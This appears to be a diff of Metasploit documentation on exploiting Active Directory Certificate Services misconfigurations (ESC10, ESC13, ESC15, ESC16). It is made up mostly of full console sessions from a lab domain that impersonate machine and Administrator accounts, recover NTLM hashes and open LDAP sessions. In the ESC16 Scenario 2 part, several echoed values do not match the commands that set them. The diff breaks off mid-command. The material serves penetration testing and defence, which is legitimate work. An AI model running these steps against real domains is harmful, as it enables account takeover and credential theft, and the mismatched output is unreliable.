+[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_windows.ad.cs_907188.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 517757a2-5174-5c43-6005-102c4429ff05
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for user2
+[!] Warning: Provided principal and realm (Test2$@kerberos.issue) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_132784.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for Test2$@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_364943.bin
+[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
+[*] 172.16.199.200:445 - reverting ldap object
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[+] Deleted entry with device ID 517757a2-5174-5c43-6005-102c4429ff05
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
+[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
+[*] Running module against 172.16.199.200
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_370847.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for dc2$@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_596103.bin
+[+] Found NTLM hash for dc2$: aad3b435b51404eeaad3b435b51404ee:cceede79c156a295f45e7ad38ee2f884
+[*] Auxiliary module execution completed
+```
+
+# Exploiting ESC10
+## ESC10 Scenario 1
+Pre-requisites:
+- `StrongCertificateBindingEnforcement` is set to `0`
+- Because the above is set to `0` we don't need the `CT_FLAG_NO_SECURITY_EXTENSION` flag set on the vulnerable template
+- Other than the above, pre-requisites and exploitation are the exact same as ESC9 Scenario 1
+
+## ESC10 Scenario 2
+Pre-requisites: 
+- `CertificateMappingMethods` is set to `0x0004` (UPN certificate mapping) or `0x001F` (All of the above values)
+- The vulnerable template has the `SubjectAltRequireUPN` set
+- The same vulnerable template has a client authentication EKU
+- We have credentials of a machine account who has `GenericWrite` privileges over another machine account that can enroll in the vulnerable template
+
+In this scenario we can only compromise accounts that do not already have a populated `userPrincipalName` attribute, such as machine accounts and the default domain administrator.
+In addition, because this registry key only applies to SChannel authentication we are forced to authenticate to LDAPS once we get a certificate.
+
+```
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "user2"
+target_username => user2
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE 'DC2$@kerberos.issue'
+UPDATE_LDAP_OBJECT_VALUE => DC2$@kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT userPrincipalName
+UPDATE_LDAP_OBJECT => userPrincipalName
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
+CA => kerberos-DC2-CA
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC10-Template
+CERT_TEMPLATE => ESC10-Template
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
+ldapusername => user1
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: user2
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to DC2$@kerberos.issue...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to DC2$@kerberos.issue
+[+] The operation completed successfully!
+[*] 172.16.199.200:445 - Adding shadow credentials for user2
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_windows.ad.cs_860225.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for user2
+[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_872380.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_123025.bin
+[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.1 (Server Authentication)
+[*] 172.16.199.200:445 -   * 1.3.6.1.4.1.311.20.2.2 (Smart Card Logon)
+[*] 172.16.199.200:445 - Certificate UPN: DC2$@kerberos.issue
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
+[*] 172.16.199.200:445 - reverting ldap object
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[+] Deleted entry with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: DC2$@kerberos.issue
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use ldap_login
+[*] Using auxiliary/scanner/ldap/ldap_login
+[*] The CreateSession option within this module can open an interactive session
+
+msf6 auxiliary(scanner/ldap/ldap_login) > run ssl=true rhosts=172.16.199.200 LDAP::Auth=schannel LDAP::CertFile=/Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
+[+] Success: 'Cert File /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx'
+[*] LDAP session 1 opened (172.16.199.1:58674 -> 172.16.199.200:389) at 2025-07-17 14:35:08 -0700
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Bruteforce completed, 1 credential was successful.
+[*] 1 LDAP session was opened successfully.
+[*] Auxiliary module execution completed
+msf6 auxiliary(scanner/ldap/ldap_login) > sessions -l
+
+Active sessions
+===============
+
+  Id  Name  Type  Information                     Connection
+  --  ----  ----  -----------                     ----------
+  1         ldap  LDAP DC2$ @ 172.16.199.200:389  172.16.199.1:58674 -> 172.16.199.200:389 (172.16.199.200)
+
+```
+
 # Exploiting ESC13
 To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
 Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
@@ -931,7 +1327,7 @@ permissions will be included in the resulting Kerberos ticket in the notes secti
 ESC13-Test template is vulnerable to ESC13 and will yield a ticket including the ESC13-Group permissions.

 ```
-msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
+msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
 ...
 [+] Template: ESC13-Test
 [*]   Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
@@ -954,20 +1350,20 @@ In this case, the ticket can be issued with the `icpr_cert` module. No additiona
 certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.

 ```
-msf6 > use auxiliary/admin/dcerpc/icpr_cert 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf > use auxiliary/admin/dcerpc/icpr_cert 
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
 SMBDomain => COLLALABS1
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
 CA => collalabs1-SRV-ADDS01-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
 CERT_TEMPLATE => ESC13-Test
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85

 [+] 172.30.239.85:445 - The requested certificate was issued.
@@ -976,7 +1372,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
 [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
@@ -993,25 +1389,25 @@ used for authentication to LDAP via SCHANNEL. The operator can then perform LDAP
 specified in the alternate UPN.

 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
 SMBDomain => COLLALABS1
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
 CA => collalabs1-SRV-ADDS01-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
 CERT_TEMPLATE => ESC15-Test
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.5.5.7.3.2
+msf auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.5.5.7.3.2
 ADD_CERT_APP_POLICY => 1.3.6.1.5.5.7.3.2
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN administrator@collalabs1.local
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN administrator@collalabs1.local
 ALT_UPN => administrator@collalabs1.local
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
 ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85

 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -1021,7 +1417,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
 [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009171337_default_172.30.239.85_windows.ad.cs_089081.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 Certificates issued using this technique are not directly able to be used for Kerberos authentication via PKINIT.
@@ -1029,21 +1425,21 @@ However, the attack can be modified by adding the Certificate Request Agent OID
 certificate that can issue additional certificates in a manner similar to ESC2 which are compatible with PKINIT.

 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
 SMBDomain => COLLALABS1
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
 CA => collalabs1-SRV-ADDS01-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test
 CERT_TEMPLATE => ESC15-Test
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.4.1.311.20.2.1
+msf auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.4.1.311.20.2.1
 ADD_CERT_APP_POLICY => 1.3.6.1.4.1.311.20.2.1
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85

 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -1053,24 +1449,24 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 -   * 1.3.6.1.4.1.311.20.2.1 (Certificate Request Agent)
 [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 Next, the certificate is used in conjunction with the `PFX` and `ON_BEHALF_OF` options to issue a certificate compatible
 with Kerberos as the privileged user (previously `ALT_UPN`).

 ```
-msf6 auxiliary(admin/dcerpc/icpr_cert) > unset ADD_CERT_APP_POLICY 
+msf auxiliary(admin/dcerpc/icpr_cert) > unset ADD_CERT_APP_POLICY 
 Unsetting ADD_CERT_APP_POLICY...
-msf6 auxiliary(admin/dcerpc/icpr_cert) > unset ALT_UPN 
+msf auxiliary(admin/dcerpc/icpr_cert) > unset ALT_UPN 
 Unsetting ALT_UPN...
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
 CERT_TEMPLATE => User
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF COLLALABS1\\administrator
+msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF COLLALABS1\\administrator
 ON_BEHALF_OF => COLLALABS1\\administrator
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
+msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
 PFX => /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85

 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -1079,11 +1475,173 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate UPN: administrator@collalabs1.local
 [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009172817_default_172.30.239.85_windows.ad.cs_427087.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 Finally, *this* certificate can be used to authenticate to Kerberos with the `kerberos/get_ticket` module.

+# Exploiting ESC16
+ESC16 refers to a CA-level misconfiguration where the SID security extension (OID `1.3.6.1.4.1.311.25.2`), introduced in
+the May 2022 KB5014754 update, is globally disabled. This extension allows domain controllers to securely map
+certificates to user or computer SIDs for strong authentication.
+
+When this OID is listed under the CA’s `DisableExtensionList` registry key, which is located:
+`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
+all certificates issued by the CA will lack the SID binding, making every template behave as though it has the 
+`CT_FLAG_NO_SECURITY_EXTENSION` flag (essentially ESC9). After updating the `DisableExtensionList` the machine will need
+to be restarted for the changes to take effect. The `DisableExtensionList` under the default policy can be updated in
+order to exploit (a new policy is not required).
+
+## ESC16 Scenario 1
+If domain controllers aren’t in Full Enforcement mode (`StrongCertificateBindingEnforcement` != 2), they fall back to
+weaker mapping methods like UPN or DNS from the certificate’s SAN potentially reintroducing risks similar to the
+Certifried vulnerability (CVE-2022-26923) or ESC9 however for our purposes given the `DisableExtensionList` is called 
+"ESC16 Scenario 1". The way you exploit ESC16 scenario 1 with Metasploit is identical to how you would exploit ESC9:
+
+```
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
+target_username => user2
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
+ldapusername => user1
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
+UPDATE_LDAP_OBJECT_VALUE => Administrator
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-dc2-ca
+ca => kerberos-dc2-ca
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC16-Template
+cert_template => ESC16-Template
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: user2
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
+[+] The operation completed successfully!
+[*] 172.16.199.200:445 - Adding shadow credentials for user2
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_windows.ad.cs_473934.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 0d055983-7921-797a-529e-259b4b7542a2
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for user2
+[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_930617.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_355422.bin
+[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 - Certificate UPN: Administrator
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx
+[*] 172.16.199.200:445 - reverting ldap object
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[+] Deleted entry with device ID 0d055983-7921-797a-529e-259b4b7542a2
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: Administrator
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+```
+
+With the certificate issued, the attacker can then use the `kerberos/get_ticket` module to obtain the hash of the admin user:
+```
+msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=//Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx username=Administrator domain=kerberos.issue
+[*] Running module against 172.16.199.200
+[!] Warning: Provided principal and realm (Administrator@kerberos.issue) do not match entries in certificate:
+[!]   * Administrator@
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_344926.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_598018.bin
+[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[*] Auxiliary module execution completed
+```
+
+#### ESC16 Scenario 2
+If domain controllers are in Full Enforcement mode (`StrongCertificateBindingEnforcement` == 2), ESC16 alone would normally
+prevent authentication using certificates that lack the required SID extension. However, if the CA is also vulnerable
+to ESC6, which is defined as: `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set under it's `EditFlags` registry key, located here:
+`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
+then the CA accepts arbitrary SAN values from certificate request attribute and an attacker can still bypass strong
+certificate mapping.
+
+In this case, the attacker requests a certificate from the ESC16-affected CA using any client authentication template
+(like "User"), which ensures the SID security extension is omitted. At the same time, they exploit the ESC6 weakness to
+inject a custom Subject Alternative Name that includes both a forged UPN and a specially crafted SID value using the format:
+`URI:tag:microsoft.com,2022-09-14:sid:<SID>`. This format was introduced in the May 2022 KB5014754 update and
+intended to help support strong certificate mappings between the user SID and the certificate.
+
+Because the certificate lacks the official SID extension (due to ESC16) but includes a valid-looking SAN SID URI
+(via ESC6), the domain controller accepts it and maps the certificate using the supplied SID—even in Full Enforcement mode.
+
+The way you would exploit ESC16 Scenario 2 with Metasploit is different than Scenario 1 as we don't need to update
+any LDAP objects, and so we can use the `icpr_cert` module to request a certificate. 
+```
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set alt_sid S-1-5-21-2324486357-3075865580-3606784161-500
+alt_sid => S-1-5-21-1655260159-4293876351-2321352318-500
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set alt_upn Administrator@kerberos.issue
+alt_upn => Administrator@msf.local
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set ca kerberos-DC2-CA
+ca => msf-DC3-CA
+msf6 auxiliary(admin/dcerpc/icpr_cert) >  set cert_template User
+cert_template => User
